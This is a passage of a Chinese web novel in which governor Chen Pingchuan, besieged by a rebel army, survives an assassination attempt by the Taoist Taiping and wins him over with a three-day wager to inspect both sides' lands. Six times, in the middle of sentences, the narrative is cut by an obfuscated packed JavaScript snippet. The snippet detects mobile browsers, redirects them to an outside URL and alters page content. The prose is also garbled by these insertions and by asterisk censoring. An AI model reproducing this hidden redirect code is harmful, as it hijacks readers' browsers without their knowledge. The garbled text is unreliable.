贾青的意图,他已经猜得**不离十。 围而不攻,贾青是想用这十万大军,把自己困死在建州城里。 一方面,可以消耗城内的粮草和士气。 另一方面,也是更重要的一方面,他是在等。 等什么? 等那些对建州府这块肥肉,同样垂涎三尺的,周围的其他势力。 比如西边的某个藩王,南边的某个山大王。 一旦他们看到自己被十万大军围困,陷入绝境,难保不会生出什么别的心思,想来分一杯羹。 到时候,自己就要面临数面夹击的绝境。 而贾青,就可以坐山观虎斗,等到各方势力斗得两败俱伤,再出来收拾残局。 “好算计,真是好算计。” 陈平川的嘴角,泛起一丝冷笑。 不得不说,贾青这个家伙,在阴谋诡计这方面,确实是个天才。 可惜,他千算万算,算错了一点。 他以为自己是困在笼子里的老虎,却不知道,自己才是那个手握**的猎人。 陈平川的目光,从地图上移开,落在了旁边的一份情报上。 那是天算司刚刚送来的,关于正义军内部的详细情况。 十万大军,听着吓人。 但实际上,其中真正的战兵,不过三万余人。剩下的,全都是被裹胁来的流民,拖家带口,老弱妇孺,根本没有什么战斗力。 而且,这支军队的粮草,已经快要见底了。 这也是贾青为什么急着要“借粮”的原因。 他们,根本耗不起! “想跟我玩消耗战?看谁先耗死谁。” 陈平川拿起笔,在地图上的几个位置,重重地画了几个圈。 那是建州府周边,几个隐秘的粮仓。 是他早就命人秘密修建的,里面囤积了足够大军吃上一年的粮食。 贾青以为断了自己的粮道,就能把自己困死。 简直是天大的笑话! 不过,陈平川并不打算就这么跟他们干耗着。 他不喜欢被动挨打。 主动出击,将敌人彻底歼灭,才是他的风格。 只是,这出击的时机和方式,需要好好谋划一番。 他需要一个机会,一个能将敌人一击毙命的机会。 陈平川揉了揉眉心,正沉思间。 突然! 他心头猛地一跳,一股强烈的危机感,毫无征兆地涌了上来! 仿佛有一双冰冷的眼睛,正在暗中窥伺着自己。 “谁!” 陈平川猛地抬起头,目光如电,射向书房的窗户。 窗外,夜色如墨,寂静无声。 但陈平川知道,刚才那股感觉,绝不是错觉。 有高手! 而且是顶尖的高手! 他不动声色,手却已经悄悄地摸向了藏在书案下的短铳。 就在这时,一道身影,没有任何预兆地,就那么凭空出现在了书房之内。 没有脚步声,没有风声。 他就那么站着,仿佛从一开始,就一直在那里。 来人一身破旧的僧袍,上面满是油污,手里拎着一个酒葫芦,浑身散发着一股酒气,正是久未谋面的了尘和尚。 看到来人是了尘,陈平川紧绷的神经,才稍稍放松了一些。 但他的手,依旧没有离开短铳。 “大师,深夜到访,连门都不敲,这可不是什么好习惯。”陈平川看着他,微笑着说道。 他知道,了尘和尚虽然看起来玩世不恭,但武功深不可测。 不知这和尚悄无声息地出现在这里,所为何事? “嘿嘿,敲门多麻烦。”了尘和尚灌了一大口酒,打了个酒嗝,大大咧咧地在陈平川对面的椅子上坐了下来。 他拿起桌上的一碟花生米,就那么旁若无人地吃了起来。 “小子,好久不见,你这摊子,铺得可是越来越大了啊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237927|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。”了尘和尚一边嚼着花生,一边含糊不清地说道。 “大师说笑了,我倒是羡慕您老人家那说来就来说走就走的潇洒劲儿。”陈平川叫人送来酒菜,亲自为了尘和尚倒酒。 他看着了尘,发现今天的了尘,和以往有些不同。 虽然他还是那副邋里邋遢,玩世不恭的模样,但他的眼神里,却带着一丝前所未有的凝重。 “大师此来,不会只是为了找我叙旧喝酒吧?”陈平川开门见山地问道。 “当然不是。”了尘和尚将几粒花生扔进嘴里,拍了拍手。 他抬起头,看着陈平川,脸上的嬉笑之色,终于收敛了起来。 “小子,你惹上**烦了。” 陈平川心中一动,面上却不动声色:“哦?愿闻其详。” “城外那十万大军,在你眼里,恐怕算不上什么麻烦吧?”了尘和尚问道。 陈平川没有回答,算是默认了。 “真正的**烦,不是他们。”了尘和尚压低了声音,神情变得严肃无比。 “我那牛鼻子老友,太平道长,今晚要来取你的项上人头!” 什么?! 饶是陈平川心性沉稳,听到这句话,也不由得大吃一惊。 太平道长? 他怎么会要杀自己? 在他的印象里,太平道长虽然为人严肃,不苟言笑,但却是一个心怀天下,极有正义感的高人。 当初在京城,自己和他虽然算不上深交,但也相谈甚欢,关系还算不错。 他为何要置自己于死地? “为什么?”陈平川皱着眉头问道。 “因为李义。”了尘和尚叹了口气,又灌了一口酒,“我那个老友,脑子就是一根筋。他认定了,那个打着‘替天行道’旗号的李义,就是天命所归的救世主。” “而你,陈平川,割据一方,拥兵自重,现在又阻挠他心目中的‘天兵’入城,不肯‘借粮’相助。在他看来,你就是逆天而行,阻碍大业的**!理当……诛杀!” 了尘和尚的语气,充满了无奈。 “我劝过他,跟他说你小子不是那种人,可那老牛鼻子根本不听。他说他只相信自己眼睛看到的,他看到的就是你见死不救,就是你自私自利!” 第321章 道剑无情斩**,佛禅有义护良善 陈平川的脸色,彻底沉了下来。 他明白了。 这又是一个信息差导致的误会。 太平道长只看到了表面,看到了李义军的旗号,看到了自己拒不开门的事实,却根本不知道这背后的阴谋,更不知道贾青的存在。 以太平道长那种非黑即白的性格,会做出这种判断,一点也不奇怪。 只是,这个麻烦,确实比城外那十万大军,要棘手得多。 太平道长的武功,绝对是这个世界最顶尖的一批。 一个一心想要杀自己的顶尖刺客,这可比千军万马,要可怕多了。 “不过你别怕,我今天就是来帮你的……” 了尘和尚的话音,刚刚落下。 “嗤!” 一声轻微的,仿佛布帛撕裂的声音,突然响起! 一道凌厉无匹的剑气,瞬间穿透了窗纸,如同一道银色的闪电,直逼陈平川的眉心! 快! 快到了极致! 那剑气未至,锋锐的劲风,已经刺得陈平川眉心生疼! 与此同时,一个冰冷如铁,充满了杀伐之意的声音,在夜空中炸响! “陈平川!纳命来!” 剑气破窗而入,快如流星! 那股森然的杀意,仿佛要将整个书房的空气都冻结。 陈平川的瞳孔,在一瞬间缩成了针尖大小。 他想躲,却发现自己的身体,仿佛被一股无形的气机锁定,根本动弹不得。 他甚至能清晰地看到,那道剑气在自己的瞳孔中,越来越大! 死亡的阴影,从未如此刻这般,真切地笼罩着他。 就在这千钧一发之际! “阿弥陀佛!老牛鼻子你来真的!”一声佛号,带着几分醉意和怒意。了尘和尚那肥胖的身影,竟以一种不可思议的速度,瞬间出现在陈平川身前。他手中的乌黑禅杖,不知何时已经举起,化作一道黑色的屏障,精准地挡在了那道剑气之前。“铛!”一声脆响,剑气被禅杖击碎,化作点点银光消散。可不等了尘和尚喘口气,又一道更加凌厉的剑气,已经紧随而至,直刺他的面门! “保护主公!” 一声沉闷如雷的咆哮,在书房门口响起。 一道黑色的铁塔身影,猛地一步跨出,挡在了陈平川的身前。 正是石头! 他甚至来不及拿起自己的狼牙棒,只是交叉双臂,用自己那堪比金石的血肉之躯,硬生生地迎向了那道致命的剑气! “噗!” 一声闷响。 剑气狠狠地撞在了石头的胳膊上。 石头的粗布上衣,瞬间被绞得粉碎,露出下面古铜色的坚实肌肉。 一道深可见骨的血痕,出现在他的小臂上,鲜血瞬间喷涌而出! “唔!” 石头发出一声痛苦的闷哼,高大的身躯晃了晃,却硬是咬着牙,一步未退! 他用自己的身体,为陈平川挡下了这必杀的一击! “石头!”陈平川惊呼出声。 而这电光石火之间,书房的四面八方,同时响起了数道破空之声! 阿魅的身影,如同一道红色的影子,从房梁上飘落,双手一扬,无数闪烁着幽绿色光芒的**,如同暴雨一般,射向窗外的黑影! 玲儿的身形,从地面的阴影中钻出,两把淬毒的**,悄无声息地划向来人的下盘! 燕飞早已出现在屋顶,弓开满月,三支特制的破甲箭,呈“品”字形,封**对方所有可以闪避的路线! 马三则是第一时间冲向陈平川,准备带他撤离。 暗影六子,在危机降临的一瞬间,便展现出了他们恐怖的默契和战斗素养! 一张由**、暗器、利箭和人墙组成的杀阵,瞬间便将院中的刺客,团团围住! 院中,月光之下。 一名身穿八卦道袍,仙风道骨的老者,手持一柄古朴的长剑,卓然而立。 正是太平道长! 面对着从四面八方袭来的攻击,他的脸上,没有丝毫的波澜。 “一群蝼蚁,也敢挡我替天行道!” 太平道长冷喝一声,手中长剑一抖,挽出一个剑花。 “叮叮当当!” 一阵密集的脆响。 阿魅射出的**,竟被他舞动的剑光,全数磕飞,无一能够近身! 他脚下步伐一错,身形如同鬼魅般,轻易地躲过了玲儿的致命偷袭。 同时,他头也不抬,左手衣袖猛地一甩! “砰!砰!砰!” 三声闷响,燕飞射出的三支破甲箭,竟被他用宽大的道袍袖子,直接抽落在地! 举手投足之间,便将暗影六子的第一波联手攻击,轻松化解! 其实力之恐怖,可见一斑! “米粒之珠,也放光华?” 太平道长眼中闪过一丝不屑,剑势一转,不再防守,而是主动攻了过来! 他的剑法,大开大合,堂堂正正,却又快得让人眼花缭乱。 每一剑刺出,都带着一股沛然莫御的凌厉剑气,逼得阿魅和玲儿连连后退,根本无法近身。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237928|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>石头虽然勇猛,但受了伤,速度又慢,只能被动地挥舞着拳头,却连对方的衣角都碰不到。 暗影六子,每一个都是可以独当一面的顶尖高手。 可在太平道长的面前,却像是三岁的孩童一般,被彻底压制,毫无还手之力! 眼看防线就要被撕开,太平道长的剑锋,再次遥遥指向了书房内的陈平川。 就在这时! “铛!” 一声震耳欲聋的金铁交鸣之声,在院中炸响! 一道身影,如同出膛的炮弹,从书房里猛地窜了出来。 手中一根乌黑的禅杖,带着呼啸的劲风,后发先至,重重地砸在了太平道长的剑锋之上! 正是了尘和尚! “轰!” 一股强大的气浪,以两人为中心,猛地向四周扩散开来! 院中的石板地面,瞬间龟裂,碎石四溅! 石头等人都被这股气浪,震得连连后退。 太平道长的身形,第一次停顿了下来。 他看着眼前这个嬉皮笑脸,浑身酒气的和尚,眉头紧紧地皱了起来。 “了尘!你为何要助纣为虐!”太平道长怒声斥道。 “嘿嘿,老牛鼻子,你这话就不对了。”了尘和尚将禅杖往地上一顿,笑嘻嘻地说道,“什么叫助纣为虐?我这是在保护良善,免遭你这老顽固的毒手!” “良善?”太平道长气极反笑,“他陈平川割据一方,见死不救,阻碍义军,乃是国之大贼!我今日杀他,乃是为国除害,替天行道!你休要拦我!” “我呸!”了尘和尚往地上啐了一口,“你替天行道个屁!李义是什么货色,你真当不知道?他身后那个叫贾青的小白脸,又是个什么东西,你心里没数吗?” “你我相交数十年,我还不知道你?”了尘和尚指着太平道长的鼻子,毫不客气地说道,“你就是个认死理的犟驴!看问题只看表面,被人当枪使了都不知道!” “你……你胡说!”太平道长被他说得脸色一阵青一阵白,显然是被戳中了痛处。 “我胡说?”了尘和尚把酒葫芦往腰间一挂,双手握住了禅杖,“那咱们就手底下见真章!你我各为其主,道不同,不相为谋!今天,有我了尘在这里,你就休想动这小子一根寒毛!” “好!好!好!”太平道长怒喝三声,“既然你执迷不悟,那我就先打醒你,再去杀那**!” 话音未落,他手中长剑一振,化作一道惊鸿,再次攻了上来! 第322章 伪义蒙双眼,真言可诛心! “来得好!” 了尘和尚也是战意高昂,手中禅杖舞得虎虎生风,迎了上去! 一时间,院中剑气纵横,杖影翻飞! 一个剑法飘逸,如同谪仙临尘。 一个杖法刚猛,好似金刚怒目。 两人都是当世顶尖的绝世高手,这一番争斗,直打得飞沙走石,瓦片乱飞。 暗影六子等人,根本插不上手,只能紧张地在一旁掠阵,随时准备支援。 书房门口。 陈平川面色沉静地看着院中的打斗,眼中精光闪烁。 他知道,这样打下去,不是办法。 了尘和尚虽然能暂时挡住太平道长,但两人实力在伯仲之间,谁也奈何不了谁。 他并不想看到这对好友,为了他自相残杀。 让城外那群人坐收渔翁之利! 必须想个办法,破了这个局! 他深吸一口气,整理了一下有些凌乱的衣衫,然后,在马三等人担忧的目光中,迈步走出了书房。 “都住手!” 一声沉喝,如同平地惊雷,在喧闹的院中响起。 声音不大,却带着一股不容置疑的威严。 激斗中的了尘和尚和太平道长,闻声都是一顿,不约而同地停下了手,各自退开几步,目光齐刷刷地看向了声音的来源。 只见陈平川,正缓步走下台阶,来到了院子中央。 他没有看任何人,而是径直走到了太平道长的面前,相距不过三步之遥。 这个距离,对于太平道长这样的高手来说,杀他,只需要一瞬间。 “主公!”马三和石头等人,都是大惊失色,连忙就要冲上来护驾。 “退下。”陈平川头也不回地说道。 众人脚步一顿,虽然心中焦急万分,但还是听从了命令,停在了原地。 陈平川的目光,平静地直视着太平道长,那双深邃的眼眸里,没有丝毫的畏惧。 “道长。”他朗声开口,声音清晰地传遍了整个院落。 “你我,也算是有过几面之缘,称得上一声朋友。” “可我实在不明白,你凭什么,就断定我陈平川是‘贼’?” “而城外那个连自己手下都管不住,任由兵匪劫掠百姓的李义,就是你口中的‘主’?” 陈平川的声音清晰,掷地有声。 他平静地站在那里,直面着太平道长手中那柄随时可能取他性命的长剑,眼神里没有一丝一毫的畏惧,只有坦然和质问。 这股从容不迫的气度,让在场所有人都为之一震。 太平道长手持长剑,眉头紧锁。 他也没想到,陈平川竟然有胆子,敢一个人走到自己面前来。 他看着眼前这个年轻人,那双眼睛,清澈而深邃,仿佛能洞悉人心。 “哼!”太平道长冷哼一声,将剑尖微微下沉,但杀气却丝毫未减。 “巧言令色!” “李义将军虽有小过,但其心怀苍生,志在倾覆大业**,此乃顺天应人之大义!” “而你陈平川,虽有薄名,却割据一方,拥兵自重!面对前来求援的友军,非但不伸出援手,反而恶语相向,闭门不纳!此等行径,与那些只顾自己利益的**,有何区别?” 平道长越说越是激动,声音也越来越高亢。 “我亲眼所见,正义军大营之外,有多少流民在挨饿受冻!他们本可入城求得一席安身之地,一碗救命之粥!可你,却将他们无情地拒之门外!” “此等见死不救,不是贼,又是什么!” 他的话,充满了道德上的制高点,听上去,似乎无可辩驳。 然而,陈平川听完,却笑了。 “哈哈哈……”他笑得很大声,笑声在寂静的夜里,传出很远。 “你笑什么?”太平道长脸色一沉,他最看不惯陈平川这副玩世不恭的样子。 “我笑……”陈平川止住笑声,看着他,一字一句地说道,“我笑你,太平道长,空有一身绝世武功,却是个只会被人当刀使的糊涂蛋!” “你!” 太平道长勃然大怒,手中长剑再次抬起,剑尖直指陈平川的咽喉! “老牛鼻子,你敢!”了尘和尚一个箭步冲上来,禅杖横在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237929|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了两人中间。 “了尘,你让开!今日我必杀此獠!” “我说了,有我在,你休想!” 眼看两人又要打起来。 “大师,无妨。”陈平川却伸手,轻轻按住了了尘和尚的禅杖。 他看着怒发冲冠的太平道长,眼神依旧平静。 “道长,你口口声声说,你只相信自己眼睛看到的。” “那好,我且问你,你看到的,就一定是真相吗?” “你看到李义打着‘替天行道’的旗号,你就信了他是义军?” “你看到他大营外的流民,就信了他们都是活不下去的百姓?” “你看到我闭门不出,就信了我是见死不救?” 陈平川向前踏出一步,逼视着太平道长的眼睛。 “那我再问你,你可曾看到,他那所谓的‘正义军’,一路南下,沿途郡县,被他们祸害成了什么样子?赤地千里,饿殍遍野!” “你可曾知道,他大营里那些所谓的‘流民’,有多少是青壮,又有多少是他们从各地强行裹胁而来的炮灰?” “你可曾想过,我若今日开了这城门,放他们进来,明日这建州城,会不会就变成下一个被他们吸干骨髓的人间地狱?城中这数十万刚刚才过上几天安稳日子的百姓,又将落得何等下场?” 一连串的质问,如同连珠炮一般,轰向太平道长。 太平道长的脸色,变得越来越难看。 因为陈平川说的这些,他确实没有亲眼见过。 他只是听了李义和贾青的一面之词,再加上自己看到的表象,便先入为主地,给陈平川定了罪。 “这……这都是你的一面之词!我凭什么信你!”太平道长有些色厉内荏地说道,底气明显没有之前那么足了。 “说得好。”陈平川点了点头,“耳听为虚,眼见为实。” “既然你不信我的一面之词,那你总该相信你自己的眼睛吧?” 陈平川收起了所有锋芒,对着太平道长,郑重地躬身一礼。 “道长,我陈平川,今日与你立一个赌约。” 第323章 一剑曾悬生死线,三日将定世间评 “什么赌约?”太平道长下意识地问道。 “三日之约。” 陈平川直起身,朗声说道:“从明日起,我给你三天时间。这三日之内,你可以在我治下的江徽府、建州府,任意行走,随意查看。” “你可以去田间地头,问问那些正在耕作的农夫,他们的日子过得怎么样。” “你可以去城市集市,看看那些往来经商的百姓,脸上有没有笑容。” “你甚至可以去我开设的学堂,听听那些不分贫富,都能朗朗读书的孩子们,念的是什么书。” “我不会派任何人跟着你,监视你。你想去哪,就去哪。想看什么,就看什么。” 陈平川的目光,坦荡无比。 “然后,你再去城外‘正义军’的后方,去看看他们一路走来,留下的,究竟是仁义,还是灾殃。” “三日之后,你再回到这里。” “届时,你若还觉得,我陈平川该杀,那李义才是救世明主。” 陈平川顿了顿,声音铿锵有力。 “我陈平川,就在这院中,引颈就戮,绝不反抗分毫!” “此言当真?”太平道长动容了。 他从未见过如此坦荡之人。 敢把自己的身家性命,压在一个赌约上,压在对方的判断上。 这需要何等的自信和底气? “君子一言,快马一鞭!”陈平川斩钉截铁地说道。 “好!”了尘和尚在一旁抚掌大笑,“老牛鼻子,这小子都把话说到这份上了,你还犹豫什么?是骡子是马,拉出来遛遛!你就去看看,亲眼看看!省得你一天到晚,被人当猴耍!” 太平道长沉默了。 他的内心,正在进行着天人交战。 陈平川的坦荡,了尘的劝说,都让他原本坚信不疑的念头,产生了一丝动摇。 或许……自己真的错了? 他看着陈平川那双不含一丝杂质的眼睛,许久,终于缓缓地,收回了手中的长剑。 “好。” 他从牙缝里,挤出一个字。 “我便给你三日时间。” “三日之后,我自会回来,给你一个交代!” 说完,他不再多言,身形一晃,如同大鸟一般,几个起落,便消失在了沉沉的夜色之中。 一场足以颠覆建州府的危机,就这么被陈平川用一个赌约,暂时化解了。 看着太平道长离去的背影,陈平川紧绷的神经,才终于松懈下来。 他的后背,早已被冷汗浸透。 刚才,他只要表现出任何一丝的胆怯和犹豫,都可能招来杀身之祸。 “主公!” 石头等人连忙围了上来,神色紧张。 “主公,你没事吧?” “我没事。”陈平川摇了摇头,看向石头,“快,让阿魅给你包扎一下。” “俺皮糙肉厚,不碍事!”石头瓮声瓮气地说道,眼睛却一直死死盯着太平道长消失的方向,充满了后怕和愤怒。 “臭小子,可以啊!”了尘和尚走过来,拍了拍陈平川的肩膀,嘿嘿笑道,“三言两语,就把那头犟驴给忽悠走了。这份胆识和口才,老子佩服!” 陈平川苦笑了一下:“大师,我这可不是忽悠。我只是在赌,赌太平道长的心中,还存有真正的道义和良知。” “他会的。”了尘和尚灌了口酒,眼神变得有些深邃,“那老牛鼻子虽然犟,但心不坏。他这一趟看下来,心里那杆秤,自然会有一个分晓。” 陈平川点了点头,他也是这么想的。 接下来,就看这三天的结果了。 他相信,事实,胜于一切雄辩。 第一天,清晨。 太平道长换上了一身普通的青色布衣,头戴一顶斗笠,遮住了他那引人注目的道髻,独自一人,走出了建州府城。 他没有惊动任何人,就像一个最普通的行脚商人,汇入了南来北往的人流之中。 按照约定,他要先去看看陈平川治下的光景。 他沿着官道,一路向南。 官道两旁,是大片大片新开垦出来的田地。 田地里,随处可见正在忙碌的农人。他们有的在翻地,有的在引水灌溉,有的在修补田埂。 每个人都干得热火朝天,脸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16237930|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然挂着汗水,却洋溢着一种太平道长许久未曾见过的东西——希望。 他看到,有穿着“破虏军”军服的士兵,竟然也在帮着百姓干活,没有丝毫官兵的架子,和百姓们有说有笑,其乐融融。 这……这还是兵吗? 在太平道长的认知里,兵,就是匪。不管是朝廷的官兵,还是各地的乱军,只要从村子过一遍,那粮食牲口,能被抢光就算好的了,更别提那些被糟蹋的妇女和**害的无辜。 可眼前的景象,彻底颠覆了他的认知。 他走到一个正在田边休息的老农身边,递过去一个水囊。 “老丈,歇会儿,喝口水吧。” 那老农抬起头,露出一张饱经风霜却很和善的脸,他没有拒绝,接过水囊喝了一大口,舒爽地叹了口气。 “多谢这位客官了。” “老丈,看你们这干劲,今年的收成,想必不错吧?”太平道长状似随意地问道。 “何止是不错!那是相当不错!”老农一听这话,顿时来了精神,脸上笑开了花,“不怕客官你笑话,俺活了六十多年,就没见过这么好的光景!” “哦?此话怎讲?” “你不知道啊!”老农打开了话匣子,“以前萧赞那狗贼在的时候,赋税多得能压**!一年到头,辛辛苦苦种出来的粮食,大半都要交上去。剩下的,连填饱肚子都难!” “可现在不一样了!陈大人来了,给我们分了田,还免了我们三年的赋税!三年啊!种出来的粮食,全都是咱们自己的!你说,这日子,能没盼头吗?” 老农说起陈平川,语气里充满了发自内心的感激和尊敬,一口一个“陈大人”,叫得无比亲切。 太平道长沉默了。 他辞别了老农,继续往前走。 他走进了一座城镇。 城镇的街道,干净整洁,商铺林立,人来人往,热闹非凡。 他看到,市集上物价平稳,买卖公平,有专门的巡逻队在维持秩序,几乎看不到任何争吵和斗殴。 最让他感到震惊的,是城中心的一座大宅院。 第324章 眼见地狱方知错,叩问真龙定乾坤 门口挂着一块牌子,上书“建州学堂”四个大字。 门口,站着一个白发苍苍的老先生,正在笑呵呵地迎接前来上学的孩子们。 那些孩子,有穿着绫罗绸缎的富家子弟,也有穿着粗布麻衣的贫苦人家的孩子。 他们都背着书包,排着队,有说有笑地走进学堂,没有任何高低贵贱之分。 朗朗的读书声,从学堂里传出。 “天地玄黄,宇宙洪荒。日月盈昃,辰宿列张……” 太平道长站在学堂外,静静地听着,久久没有言语。 他走遍大江南北,见过太多的苦难和不公。 可像眼前这样,不分贫富,人人皆可读书的景象,他还是第一次见到。 一个国家的未来,看什么? 不就是看这些孩子吗? 陈平川,竟然在为这个国家的未来,打下最坚实的基础。 这一天下来,太平道长的心,受到了巨大的冲击。 他所看到的,所听到的,与他之前想象的那个“割据一方,拥兵自重的**”形象,截然相反。 这里,没有苛捐杂税,没有官兵欺压,没有流离失所。 有的,只是安居乐业,和对未来的美好期盼。 这里,简直就像是一个乱世之中的桃花源。 三天后,太平道人离开建州府,他要去看看,李义的“仁义之师”,走过的地方,又是什么光景。 当他踏上那片土地的时候,一股浓烈的血腥味和腐臭味,便扑面而来。 他看到的是,一座座被焚毁的村庄,断壁残垣,满目疮痍。 他看到的是,倒在路边的累累白骨,被野狗啃食得面目全非。 他看到的是,一个个面黄肌瘦,眼神麻木的幸存者,如同行尸走肉一般,在废墟中翻找着任何可以果腹的东西。 他拦住一个正在啃食树皮的妇人,问她这里发生了什么。 那妇人抬起头,空洞的眼神里,充满了恐惧和仇恨。 “是兵……是那些打着‘正义’旗号的魔鬼……” 妇人泣不成声地告诉他,半个月前,那支军队路过这里,他们抢光了村里所有的粮食,杀光了所有敢于反抗的男人,**了所有年轻的女人…… 她的丈夫,她的儿子,都死在了那些魔鬼的刀下。 太平道长的心,像是被一只无形的大手,狠狠地攥住了。 他继续往前走。 他看到的,听到的,比那妇人所说的,还要惨烈百倍! 这就是……他心目中那个“心怀苍生”的李将军,所率领的“仁义之师”? 这就是……他要“替天行道”,去辅佐的“天命之主”? 一个又一个残酷的事实,像一记又一记响亮的耳光,狠狠地抽在他的脸上。 他感觉自己的脸,火辣辣地疼。 他感觉自己一直以来所坚守的信念,正在一点点地崩塌,碎裂。 一边,是欣欣向荣,百姓安居乐业,宛如天堂。 一边,是满目疮痍,人间惨剧遍地,形同地狱。 何为正?何为邪? 何为义?何为贼? 太平道长的脑子里,一片混乱。 他想起了陈平川那双坦荡的眼睛,想起了他那句质问。 “你看到的,就一定是真相吗?” 是啊,自己看到的,只是李义他们想让自己看到的。 自己就像一个瞎子,一个聋子,被人牵着鼻子走,还自以为是地,要去“替天舍道”! 何其可笑!何其可悲! 几天后的黄昏。 太平道长回到了建州城。 他直接来到了知府衙门。 他要见陈平川。 他有很多话,想问他。 他有很多事,想弄明白。 他感觉自己这几十年,都白活了。 他需要一个答案。 当他再次站在那座熟悉的院子里时,他的心境,已经和几天前,截然不同。 他看到陈平川正和了尘和尚在院中的石桌上下棋。 两人有说有笑,似乎早就料到他会回来。 “老牛鼻子,回来了?”了尘和尚抬头看了他一眼,嘿嘿一笑,“怎么样?外面的世界,精彩吗?” 太平道长没有理会他的调侃,他的目光,径直落在了陈平川的身上。 他的嘴唇动了动,似乎想说什么,却又不知道该从何说起。 最终,他只是吐出了一句无比复杂的话。 “我……想不明白。” 陈平川落下最后一颗棋子,将了尘和尚的大龙, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246792|178436||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 彻底堵死。 “想不明白?道长哪里想不明白?” “那个,今天就到这里,你们好好聊聊。”了尘和尚把棋子一扔,耍起了无赖。 陈平川笑了笑,这才抬起头,看向神情复杂的太平道长。 “道长,但说无妨。” 太平道长深吸了一口气,似乎在组织自己的语言。 “我看到了。”他声音有些沙哑,“江徽府和建州府,确实如你所说,百姓安乐,吏治清明,堪称乱世中的一片净土。” “我也看到了,‘正义军’所过之处,确实是……人间地狱。” 他说出“人间地狱”四个字的时候,身子都忍不住微微颤抖了一下。那两天的所见所闻,对他这个一生都以“拯救苍生”为己任的修道之人来说,冲击实在是太大了。 “你,确实是一个百年难得一见的能吏。”太平道长看着陈平川,眼神里,第一次出现了名为“认可”的东西。 “但是……”他话锋一转,“这还不够。” “哦?”陈平川饶有兴致地看着他,“道长觉得,如何才够?” “治理一方,只能算小道。”太平道长的眼中,重新燃起了一丝光芒,那是他坚守了一辈子的信念之火。 “如今这天下,崩坏的,是根子!是那个高高在上的大业朝廷!是这个**的世道!” “想要救天下,光靠种地,光靠开学堂,是不够的!需要的是雷霆手段,需要的是一个能够扫平六合,荡清寰宇的绝世雄主!” “李义,是个草包,是个**子,他不是那个人。这一点,我终于看清了。” 太平道长顿了顿,目光灼灼地盯着陈平川。 “那你呢?陈平川,你是不是那个人?” “你守着这江南一隅之地,固然能保一方平安。可北方的蛮族,京城的梁贼,还有天下各地那些如李义、贾青一般的豺狼,他们会给你安稳发展的机会吗?” “乱世之中,不进,则死!” “除非……”太平道长的声音,变得无比郑重,“你能向我证明,你的道路,才是正确的!你不但能治,更能战!你不但能守,更能攻!” “证明?”陈平川笑了,“道长想要我如何证明?” 第325章 城外驱民为盾,城头我主为王 “很简单。”太平道长一指城外,“击败他们!” “正面,堂堂正正地,击败城外那所谓的十万大军!用一场酣畅淋漓的胜利,向全天下证明,你陈平川,不仅是一个能吏,更是一个能终结这乱世的,雄主!” “到那时,贫道愿执鞭坠镫,追随主公,万死不辞!” 说完,他便闭上了眼睛,不再言语,像一尊雕塑般,静静地站在那里,等待着陈平川的回答。 了尘和尚在一旁听着,挠了挠头,对陈平川挤了挤眼睛,那意思仿佛在说:“这老牛鼻子,又犯犟了。” 陈平川却并不觉得意外。 他知道,像太平道长这样的人,信念一旦形成,就坚如磐石。 想让他彻底转变,光靠看,是不够的。 必须要让他亲身体会,亲眼见证一场足以颠覆他认知的胜利。 这,才是打破他心中最后一道枷锁的,唯一方法。 “好。” 陈平川站起身,迎着太平道长灼热的目光,缓缓地点了点头。 “我答应你。” “明日,我便让你看到,我陈平川的兵,是如何战的!” 